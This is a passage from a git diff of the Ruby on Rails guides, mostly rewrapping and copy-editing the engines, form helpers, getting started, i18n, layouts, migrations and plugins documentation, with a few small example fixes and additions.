+to load that class and then reference the related table. This could lead to
+problems if the table wasn't already existing. Therefore, a `String` should be
+used and then converted to a class using `constantize` in the engine later on.
-Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in `config/initializers/blorgh.rb` to learn what the class is.
+Go ahead and try to create a new post. You will see that it works exactly in the
+same way as before, except this time the engine is using the configuration
+setting in `config/initializers/blorgh.rb` to learn what the class is.
-There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a `find_or_create_by` method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced.
+There are now no strict dependencies on what the class is, only what the API for
+the class must be. The engine simply requires this class to define a
+`find_or_create_by` method which returns an object of that class, to be
+associated with a post when it's created. This object, of course, should have
+some sort of identifier by which it can be referenced.
-#### General engine configuration
+#### General Engine Configuration
-Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!
+Within an engine, there may come a time where you wish to use things such as
+initializers, internationalization or other configuration options. The great
+news is that these things are entirely possible, because a Rails engine shares
+much the same functionality as a Rails application. In fact, a Rails
+application's functionality is actually a superset of what is provided by
+engines!
If you wish to use an initializer - code that should run before the engine is
loaded - the place for it is the `config/initializers` folder. This directory's
-functionality is explained in the
-[Initializers section](configuring.html#initializers) of the Configuring guide,
-and works precisely the same way as the `config/initializers` directory inside
-an application. Same goes for if you want to use a standard initializer.
+functionality is explained in the [Initializers
+section](configuring.html#initializers) of the Configuring guide, and works
+precisely the same way as the `config/initializers` directory inside an
+application. The same thing goes if you want to use a standard initializer.
-For locales, simply place the locale files in the `config/locales` directory, just like you would in an application.
+For locales, simply place the locale files in the `config/locales` directory,
+just like you would in an application.
Testing an engine
-----------------
-When an engine is generated there is a smaller dummy application created inside it at `test/dummy`. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine.
+When an engine is generated, there is a smaller dummy application created inside
+it at `test/dummy`. This application is used as a mounting point for the engine,
+to make testing the engine extremely simple. You may extend this application by
+generating controllers, models or views from within the directory, and then use
+those to test your engine.
-The `test` directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests.
+The `test` directory should be treated like a typical Rails testing environment,
+allowing for unit, functional and integration tests.
-### Functional tests
+### Functional Tests
-A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application - the `test/dummy` application - rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical `GET` to a controller in a controller's functional test like this:
+A matter worth taking into consideration when writing functional tests is that
+the tests are going to be running on an application - the `test/dummy`
+application - rather than your engine. This is due to the setup of the testing
+environment; an engine needs an application as a host for testing its main
+functionality, especially controllers. This means that if you were to make a
+typical `GET` to a controller in a controller's functional test like this:
```ruby
get :index
```
-It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it **how**. To do this, you must pass the `:use_route` option (as a parameter) on these requests also:
+It may not function correctly. This is because the application doesn't know how
+to route these requests to the engine unless you explicitly tell it **how**. To
+do this, you must also pass the `:use_route` option as a parameter on these
+requests:
```ruby
get :index, use_route: :blorgh
```
-This tells the application that you still want to perform a `GET` request to the `index` action of this controller, just that you want to use the engine's route to get there, rather than the application.
+This tells the application that you still want to perform a `GET` request to the
+`index` action of this controller, but you want to use the engine's route to get
+there, rather than the application's one.
Improving engine functionality
------------------------------
-This section explains how to add and/or override engine MVC functionality in the main Rails application.
+This section explains how to add and/or override engine MVC functionality in the
+main Rails application.
### Overriding Models and Controllers
-Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main application. This is usually implemented by using the decorator pattern.
+Engine model and controller classes can be extended by open classing them in the
+main Rails application (since model and controller classes are just Ruby classes
+that inherit Rails specific functionality). Open classing an Engine class
+redefines it for use in the main application. This is usually implemented by
+using the decorator pattern.
-For simple class modifications use `Class#class_eval`, and for complex class modifications, consider using `ActiveSupport::Concern`.
+For simple class modifications, use `Class#class_eval`. For complex class
+modifications, consider using `ActiveSupport::Concern`.
-#### A note on Decorators and loading code
+#### A note on Decorators and Loading Code
Because these decorators are not referenced by your Rails application itself,
-Rails' autoloading system will not kick in and load your decorators. This
-means that you need to require them yourself.
+Rails' autoloading system will not kick in and load your decorators. This means
+that you need to require them yourself.
Here is some sample code to do this:
@@ -764,7 +1097,7 @@ that isn't referenced by your main application.
#### Implementing Decorator Pattern Using Class#class_eval
-**Adding** `Post#time_since_created`,
+**Adding** `Post#time_since_created`:
```ruby
# MyApp/app/decorators/models/blorgh/post_decorator.rb
@@ -785,7 +1118,7 @@ end
```
-**Overriding** `Post#summary`
+**Overriding** `Post#summary`:
```ruby
# MyApp/app/decorators/models/blorgh/post_decorator.rb
@@ -810,9 +1143,13 @@ end
#### Implementing Decorator Pattern Using ActiveSupport::Concern
-Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using [`ActiveSupport::Concern`](http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html). ActiveSupport::Concern manages load order of interlinked dependent modules and classes at run time allowing you to significantly modularize your code.
+Using `Class#class_eval` is great for simple adjustments, but for more complex
+class modifications, you might want to consider using [`ActiveSupport::Concern`]
+(http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html).
+ActiveSupport::Concern manages load order of interlinked dependent modules and
+classes at run time allowing you to significantly modularize your code.
-**Adding** `Post#time_since_created` and **Overriding** `Post#summary`
+**Adding** `Post#time_since_created` and **Overriding** `Post#summary`:
```ruby
# MyApp/app/models/blorgh/post.rb
@@ -845,7 +1182,7 @@ module Blorgh::Concerns::Models::Post
extend ActiveSupport::Concern
# 'included do' causes the included code to be evaluated in the
- # context where it is included (post.rb), rather than be
+ # context where it is included (post.rb), rather than being
# executed in the module's context (blorgh/concerns/models/post).
included do
attr_accessor :author_name
@@ -871,15 +1208,23 @@ module Blorgh::Concerns::Models::Post
end
```
-### Overriding views
+### Overriding Views
-When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, then it will check in the `app/views` directories of all engines which have this directory.
+When Rails looks for a view to render, it will first look in the `app/views`
+directory of the application. If it cannot find the view there, it will check in
+the `app/views` directories of all engines that have this directory.
-When the application is asked to render the view for `Blorgh::PostsController`'s index action, it will look the path `app/views/blorgh/posts/index.html.erb`, first within the application. If it cannot find it, it will look inside the engine.
+When the application is asked to render the view for `Blorgh::PostsController`'s
+index action, it will first look for the path
+`app/views/blorgh/posts/index.html.erb` within the application. If it cannot
+find it, it will look inside the engine.
-You can override this view in the application by simply creating a new file at `app/views/blorgh/posts/index.html.erb`. Then you can completely change what this view would normally output.
+You can override this view in the application by simply creating a new file at
+`app/views/blorgh/posts/index.html.erb`. Then you can completely change what
+this view would normally output.
-Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` and put this content in it:
+Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb`
+and put this content in it:
```html+erb
<h1>Posts</h1>
@@ -894,9 +1239,13 @@ Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` a
### Routes
-Routes inside an engine are, by default, isolated from the application. This is done by the `isolate_namespace` call inside the `Engine` class. This essentially means that the application and its engines can have identically named routes and they will not clash.
+Routes inside an engine are isolated from the application by default. This is
+done by the `isolate_namespace` call inside the `Engine` class. This essentially
+means that the application and its engines can have identically named routes and
+they will not clash.
-Routes inside an engine are drawn on the `Engine` class within `config/routes.rb`, like this:
+Routes inside an engine are drawn on the `Engine` class within
+`config/routes.rb`, like this:
```ruby
Blorgh::Engine.routes.draw do
@@ -904,43 +1253,71 @@ Blorgh::Engine.routes.draw do
end
```
-By having isolated routes such as this, if you wish to link to an area of an engine from within an application, you will need to use the engine's routing proxy method. Calls to normal routing methods such as `posts_path` may end up going to undesired locations if both the application and the engine both have such a helper defined.
+By having isolated routes such as this, if you wish to link to an area of an
+engine from within an application, you will need to use the engine's routing
+proxy method. Calls to normal routing methods such as `posts_path` may end up
+going to undesired locations if both the application and the engine have such a
+helper defined.
-For instance, the following example would go to the application's `posts_path` if that template was rendered from the application, or the engine's `posts_path` if it was rendered from the engine:
+For instance, the following example would go to the application's `posts_path`
+if that template was rendered from the application, or the engine's `posts_path`
+if it was rendered from the engine:
```erb
<%= link_to "Blog posts", posts_path %>
```
-To make this route always use the engine's `posts_path` routing helper method, we must call the method on the routing proxy method that shares the same name as the engine.
+To make this route always use the engine's `posts_path` routing helper method,
+we must call the method on the routing proxy method that shares the same name as
+the engine.
```erb
<%= link_to "Blog posts", blorgh.posts_path %>
```
-If you wish to reference the application inside the engine in a similar way, use the `main_app` helper:
+If you wish to reference the application inside the engine in a similar way, use
+the `main_app` helper:
```erb
<%= link_to "Home", main_app.root_path %>
```
-If you were to use this inside an engine, it would **always** go to the application's root. If you were to leave off the `main_app` "routing proxy" method call, it could potentially go to the engine's or application's root, depending on where it was called from.
+If you were to use this inside an engine, it would **always** go to the
+application's root. If you were to leave off the `main_app` "routing proxy"
+method call, it could potentially go to the engine's or application's root,
+depending on where it was called from.
-If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the `main_app` prefix from within the engine.
+If a template rendered from within an engine attempts to use one of the
+application's routing helper methods, it may result in an undefined method call.
+If you encounter such an issue, ensure that you're not attempting to call the
+application's routing methods without the `main_app` prefix from within the
+engine.
### Assets
-Assets within an engine work in an identical way to a full application. Because the engine class inherits from `Rails::Engine`, the application will know to look up in the engine's `app/assets` and `lib/assets` directories for potential assets.
+Assets within an engine work in an identical way to a full application. Because
+the engine class inherits from `Rails::Engine`, the application will know to
+look up assets in the engine's 'app/assets' and 'lib/assets' directories.
-Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called `style.css`, it should be placed at `app/assets/stylesheets/[engine name]/style.css`, rather than `app/assets/stylesheets/style.css`. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored.
+Like all of the other components of an engine, the assets should be namespaced.
+This means that if you have an asset called `style.css`, it should be placed at
+`app/assets/stylesheets/[engine name]/style.css`, rather than
+`app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a
+possibility that the host application could have an asset named identically, in
+which case the application's asset would take precedence and the engine's one
+would be ignored.
-Imagine that you did have an asset located at `app/assets/stylesheets/blorgh/style.css` To include this asset inside an application, just use `stylesheet_link_tag` and reference the asset as if it were inside the engine:
+Imagine that you did have an asset located at
+`app/assets/stylesheets/blorgh/style.css` To include this asset inside an
+application, just use `stylesheet_link_tag` and reference the asset as if it
+were inside the engine:
```erb
<%= stylesheet_link_tag "blorgh/style.css" %>
```
-You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files:
+You can also specify these assets as dependencies of other assets using Asset
+Pipeline require statements in processed files:
```
/*
@@ -948,16 +1325,21 @@ You can also specify these assets as dependencies of other assets using the Asse
*/
```
-INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's `.gemspec`.
+INFO. Remember that in order to use languages like Sass or CoffeeScript, you
+should add the relevant library to your engine's `.gemspec`.
### Separate Assets & Precompiling
-There are some situations where your engine's assets are not required by the host application. For example, say that you've created
-an admin functionality that only exists for your engine. In this case, the host application doesn't need to require `admin.css`
-or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorgh/admin.css"` in it's stylesheets. In this situation, you should explicitly define these assets for precompilation.
-This tells sprockets to add your engine assets when `rake assets:precompile` is ran.
+There are some situations where your engine's assets are not required by the
+host application. For example, say that you've created an admin functionality
+that only exists for your engine. In this case, the host application doesn't
+need to require `admin.css` or `admin.js`. Only the gem's admin layout needs
+these assets. It doesn't make sense for the host app to include
+`"blorgh/admin.css"` in its stylesheets. In this situation, you should
+explicitly define these assets for precompilation. This tells sprockets to add
+your engine assets when `rake assets:precompile` is triggered.
-You can define assets for precompilation in `engine.rb`
+You can define assets for precompilation in `engine.rb`:
```ruby
initializer "blorgh.assets.precompile" do |app|
@@ -965,15 +1347,15 @@ initializer "blorgh.assets.precompile" do |app|
end
```
-For more information, read the [Asset Pipeline guide](asset_pipeline.html)
+For more information, read the [Asset Pipeline guide](asset_pipeline.html).
-### Other gem dependencies
+### Other Gem Dependencies
-Gem dependencies inside an engine should be specified inside the
-`.gemspec` file at the root of the engine. The reason is that the engine may
-be installed as a gem. If dependencies were to be specified inside the `Gemfile`,
-these would not be recognized by a traditional gem install and so they would not
-be installed, causing the engine to malfunction.
+Gem dependencies inside an engine should be specified inside the `.gemspec` file
+at the root of the engine. The reason is that the engine may be installed as a
+gem. If dependencies were to be specified inside the `Gemfile`, these would not
+be recognized by a traditional gem install and so they would not be installed,
+causing the engine to malfunction.
To specify a dependency that should be installed with the engine during a
traditional `gem install`, specify it inside the `Gem::Specification` block
@@ -991,11 +1373,12 @@ s.add_development_dependency "moo"
```
Both kinds of dependencies will be installed when `bundle install` is run inside
-the application. The development dependencies for the gem will only be used when
-the tests for the engine are running.
+of the application. The development dependencies for the gem will only be used
+when the tests for the engine are running.
Note that if you want to immediately require dependencies when the engine is
-required, you should require them before the engine's initialization. For example:
+required, you should require them before the engine's initialization. For
+example:
```ruby
require 'other_engine/engine'
diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md
index 4b6d8a93f0..ec4a255398 100644
--- a/guides/source/form_helpers.md
+++ b/guides/source/form_helpers.md
@@ -154,7 +154,10 @@ make it easier for users to click the inputs.
### Other Helpers of Interest
-Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields:
+Other form controls worth mentioning are textareas, password fields,
+hidden fields, search fields, telephone fields, date fields, time fields,
+color fields, datetime fields, datetime-local fields, month fields, week fields,
+URL fields, email fields, number fields and range fields:
```erb
<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
@@ -171,6 +174,8 @@ Other form controls worth mentioning are textareas, password fields, hidden fiel
<%= email_field(:user, :address) %>
<%= color_field(:user, :favorite_color) %>
<%= time_field(:task, :started_at) %>
+<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %>
+<%= range_field(:product, :discount, in: 1..100) %>
```
Output:
@@ -190,11 +195,20 @@ Output:
<input id="user_address" name="user[address]" type="email" />
<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
<input id="task_started_at" name="task[started_at]" type="time" />
+<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" />
+<input id="product_discount" max="100" min="1" name="product[discount]" type="range" />
```
Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
-IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), which provide a simple way to add functionality based on the presence of detected HTML5 features.
+IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local,
+month, week, URL, email, number and range inputs are HTML5 controls.
+If you require your app to have a consistent experience in older browsers,
+you will need an HTML5 polyfill (provided by CSS and/or JavaScript).
+There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are
+[Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/),
+which provide a simple way to add functionality based on the presence of
+detected HTML5 features.
TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging).
@@ -328,7 +342,7 @@ If you have created namespaced routes, `form_for` has a nifty shorthand for that
form_for [:admin, @article]
```
-will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
+will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
```ruby
form_for [:admin, :management, @article]
@@ -845,7 +859,7 @@ end
This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses.
-### Building the Form
+### Nested Forms
The following form allows a user to create a `Person` and its associated addresses.
@@ -868,16 +882,18 @@ The following form allows a user to create a `Person` and its associated address
```
-When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form.
+When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form.
```ruby
def new
@person = Person.new
- 3.times { @person.addresses.build}
+ 2.times { @person.addresses.build}
end
```
-`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like
+The `fields_for` yields a form builder. The parameters' name will be what
+`accepts_nested_attributes_for` expects. For example when creating a user with
+2 addresses, the submitted parameters would look like:
```ruby
{
@@ -899,7 +915,7 @@ end
The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address.
-If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id.
+If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`.
### The Controller
@@ -930,7 +946,9 @@ class Person < ActiveRecord::Base
end
```
-If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses:
+If the hash of attributes for an object contains the key `_destroy` with a value
+of `1` or `true` then the object will be destroyed. This form allows users to
+remove addresses:
```erb
<%= form_for @person do |f| %>
@@ -938,7 +956,7 @@ If the hash of attributes for an object contains the key `_destroy` with a value
<ul>
<%= f.fields_for :addresses do |addresses_form| %>
<li>
- <%= check_box :_destroy%>
+ <%= addresses_form.check_box :_destroy%>
<%= addresses_form.label :kind %>
<%= addresses_form.text_field :kind %>
...
diff --git a/guides/source/generators.md b/guides/source/generators.md
index e9c8ef0225..4a5377c206 100644
--- a/guides/source/generators.md
+++ b/guides/source/generators.md
@@ -560,7 +560,7 @@ This method also takes a block:
```ruby
vendor "seeds.rb" do
- "puts 'in ur app, seeding ur database'"
+ "puts 'in your app, seeding your database'"
end
```
diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md
index b57441b1c3..fca6d41a1b 100644
--- a/guides/source/getting_started.md
+++ b/guides/source/getting_started.md
@@ -86,7 +86,7 @@ current version of Ruby installed:
```bash
$ ruby -v
-ruby 2.0.0p247
+ruby 2.0.0p353
```
To install Rails, use the `gem install` command provided by RubyGems:
@@ -388,9 +388,9 @@ It's inside this class that you'll define methods that will become the actions
for this controller. These actions will perform CRUD operations on the posts
within our system.
-NOTE: There are `public`, `private` and `protected` methods in `Ruby`
-(for more details you can check on [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/)).
-But only `public` methods can be actions for controllers.
+NOTE: There are `public`, `private` and `protected` methods in Ruby,
+but only `public` methods can be actions for controllers.
+For more details check out [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/).
If you refresh <http://localhost:3000/posts/new> now, you'll get a new error:
@@ -398,7 +398,7 @@ If you refresh <http://localhost:3000/posts/new> now, you'll get a new error:
This error indicates that Rails cannot find the `new` action inside the `PostsController`
that you just generated. This is because when controllers are generated in Rails
-they are empty by default, unless you tell it you wanted actions during the
+they are empty by default, unless you tell it your wanted actions during the
generation process.
To manually define an action inside a controller, all you need to do is to
@@ -757,7 +757,7 @@ the `show` action. That's not very useful though, so let's add the
As we have seen in the output of `rake routes`, the route for `show` action is
as follows:
-```ruby
+```
post GET /posts/:id(.:format) posts#show
```
@@ -804,7 +804,7 @@ Visit <http://localhost:3000/posts/new> and give it a try!
We still need a way to list all our posts, so let's do that.
The route for this as per output of `rake routes` is:
-```ruby
+```
posts GET /posts(.:format) posts#index
```
@@ -816,7 +816,7 @@ def index
end
```
-And then finally a view for this action, located at `app/views/posts/index.html.erb`:
+And then finally, add view for this action, located at `app/views/posts/index.html.erb`:
```html+erb
<h1>Listing posts</h1>
@@ -1406,7 +1406,6 @@ class Post < ActiveRecord::Base
has_many :comments
validates :title, presence: true,
length: { minimum: 5 }
- [...]
end
```
@@ -1703,8 +1702,8 @@ Deleting Comments
-----------------
Another important feature of a blog is being able to delete spam comments. To do
-this, we need to implement a link of some sort in the view and a `DELETE` action
-in the `CommentsController`.
+this, we need to implement a link of some sort in the view and a `destroy`
+action in the `CommentsController`.
So first, let's add the delete link in the
`app/views/comments/_comment.html.erb` partial:
@@ -1729,7 +1728,7 @@ So first, let's add the delete link in the
Clicking this new "Destroy Comment" link will fire off a `DELETE
/posts/:post_id/comments/:id` to our `CommentsController`, which can then use
-this to find the comment we want to delete, so let's add a destroy action to our
+this to find the comment we want to delete, so let's add a `destroy` action to our
controller (`app/controllers/comments_controller.rb`):
```ruby
@@ -1771,7 +1770,6 @@ class Post < ActiveRecord::Base
has_many :comments, dependent: :destroy
validates :title, presence: true,
length: { minimum: 5 }
- [...]
end
```
diff --git a/guides/source/i18n.md b/guides/source/i18n.md
index 6f79b3ddd7..8dfb17a681 100644
--- a/guides/source/i18n.md
+++ b/guides/source/i18n.md
@@ -101,7 +101,7 @@ This means, that in the `:en` locale, the key _hello_ will map to the _Hello wor
The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations.
-NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/svenfuchs/globalize3) may help you implement it.
+NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/globalize/globalize) may help you implement it.
The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
@@ -824,7 +824,7 @@ This way you can provide special translations for various error messages at diff
The translated model name, translated attribute name, and value are always available for interpolation.
-So, for example, instead of the default error message `"can not be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
+So, for example, instead of the default error message `"cannot be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
* `count`, where available, can be used for pluralization if present:
@@ -833,6 +833,7 @@ So, for example, instead of the default error message `"can not be blank"` you c
| confirmation | - | :confirmation | - |
| acceptance | - | :accepted | - |
| presence | - | :blank | - |
+| absence | - | :present | - |
| length | :within, :in | :too_short | count |
| length | :within, :in | :too_long | count |
| length | :is | :wrong_length | count |
@@ -925,7 +926,7 @@ Customize your I18n Setup
### Using Different Backends
-For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
+For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format.
That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md
index c6a3449ace..c72b584ed6 100644
--- a/guides/source/layouts_and_rendering.md
+++ b/guides/source/layouts_and_rendering.md
@@ -404,7 +404,7 @@ class ProductsController < ApplicationController
end
```
-With this declaration, all of the views rendered by the products controller will use `app/views/layouts/inventory.html.erb` as their layout.
+With this declaration, all of the views rendered by the `ProductsController` will use `app/views/layouts/inventory.html.erb` as their layout.
To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class:
@@ -703,7 +703,7 @@ WARNING: The asset tag helpers do _not_ verify the existence of the assets at th
#### Linking to Feeds with the `auto_discovery_link_tag`
-The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
+The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
```erb
<%= auto_discovery_link_tag(:rss, {action: "feed"},
@@ -1008,7 +1008,6 @@ You can also pass local variables into partials, making them even more powerful
```html+erb
<h1>New zone</h1>
- <%= error_messages_for :zone %>
<%= render partial: "form", locals: {zone: @zone} %>
```
@@ -1016,7 +1015,6 @@ You can also pass local variables into partials, making them even more powerful
```html+erb
<h1>Editing zone</h1>
- <%= error_messages_for :zone %>
<%= render partial: "form", locals: {zone: @zone} %>
```
diff --git a/guides/source/migrations.md b/guides/source/migrations.md
index 71a177bca7..5d5c2724b1 100644
--- a/guides/source/migrations.md
+++ b/guides/source/migrations.md
@@ -297,10 +297,10 @@ You can append as many column name/type pairs as you want.
You can also specify some options just after the field type between curly
braces. You can use the following modifiers:
-* `limit` Sets the maximum size of the `string/text/binary/integer` fields
-* `precision` Defines the precision for the `decimal` fields
-* `scale` Defines the scale for the `decimal` fields
-* `polymorphic` Adds a `type` column for `belongs_to` associations
+* `limit` Sets the maximum size of the `string/text/binary/integer` fields.
+* `precision` Defines the precision for the `decimal` fields, representing the total number of digits in the number.
+* `scale` Defines the scale for the `decimal` fields, representing the number of digits after the decimal point.
+* `polymorphic` Adds a `type` column for `belongs_to` associations.
* `null` Allows or disallows `NULL` values in the column.
For instance, running:
diff --git a/guides/source/plugins.md b/guides/source/plugins.md
index d0aa2e55a2..720ca5d117 100644
--- a/guides/source/plugins.md
+++ b/guides/source/plugins.md
@@ -3,9 +3,9 @@ The Basics of Creating Rails Plugins
A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
-* a way for developers to share bleeding-edge ideas without hurting the stable code base
-* a segmented architecture so that units of code can be fixed or updated on their own release schedule
-* an outlet for the core developers so that they don't have to include every cool new feature under the sun
+* A way for developers to share bleeding-edge ideas without hurting the stable code base.
+* A segmented architecture so that units of code can be fixed or updated on their own release schedule.
+* An outlet for the core developers so that they don't have to include every cool new feature under the sun.
After reading this guide, you will know:
@@ -48,7 +48,7 @@ See usage and options by asking for help:
$ rails plugin --help
```
-Testing your newly generated plugin
+Testing Your Newly Generated Plugin
-----------------------------------
You can navigate to the directory that contains the plugin, run the `bundle install` command
@@ -92,7 +92,7 @@ Run `rake` to run the test. This test should fail because we haven't implemented
Great - now you are ready to start development.
-Then in `lib/yaffle.rb` add `require "yaffle/core_ext"`:
+In `lib/yaffle.rb`, add `require "yaffle/core_ext"`:
```ruby
# yaffle/lib/yaffle.rb
@@ -219,12 +219,11 @@ $ rails generate model Wickwall last_squawk:string last_tweet:string
```
Now you can create the necessary database tables in your testing database by navigating to your dummy app
-and migrating the database. First
+and migrating the database. First, run:
```bash
$ cd test/dummy
$ rake db:migrate
-$ rake db:test:prepare
```
While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
@@ -245,7 +244,7 @@ end
```
-We will also add code to define the acts_as_yaffle method.
+We will also add code to define the `acts_as_yaffle` method.
```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
@@ -286,7 +285,7 @@ You can then return to the root directory (`cd ../..`) of your plugin and rerun
```
-Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.
+Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass.
```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
@@ -310,7 +309,7 @@ end
ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
```
-When you run `rake` you should see the tests all pass:
+When you run `rake`, you should see the tests all pass:
```bash
